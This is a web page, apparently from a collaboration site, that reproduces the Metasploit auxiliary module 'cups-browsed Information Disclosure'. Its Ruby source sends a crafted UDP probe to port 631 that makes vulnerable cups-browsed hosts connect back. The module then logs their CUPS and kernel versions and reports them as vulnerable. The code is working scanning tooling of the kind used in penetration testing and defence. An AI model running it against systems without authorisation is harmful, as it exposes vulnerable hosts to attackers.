Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::UDPScanner8include Msf::Exploit::Remote::HttpServer910def initialize11super(12'Name' => 'cups-browsed Information Disclosure',13'Description' => %q{14Retrieve CUPS version and kernel version information from cups-browsed services.15},16'Author' => [17'evilsocket', # discovery18'bcoles' # msf19],20'License' => MSF_LICENSE,21'References' => [22['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8' ],23['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/' ],24],25'DefaultOptions' => { 'RPORT' => 631 },26)27deregister_options('URIPATH')28end2930def build_probe31@probe ||= "0 3 #{get_uri}"32@probe33end3435def run36start_service('Path' => "/printers/#{Rex::Text.rand_text_alphanumeric(10..16)}")37super38end3940def on_request_uri(cli, request)41return if request.nil?4243info = request['User-Agent']4445return unless info.to_s.include?('CUPS')4647print_good("#{cli.peerhost}: #{info}")4849report_host(host: cli.peerhost)50report_service(51host: cli.peerhost,52proto: 'udp',53port: rport,54name: 'cups-browsed',55info: info56)57report_vuln({58host: cli.peerhost,59port: rport,60proto: 'udp',61name: 'cups-browsed Information Disclosure',62refs: references63})64end65end666768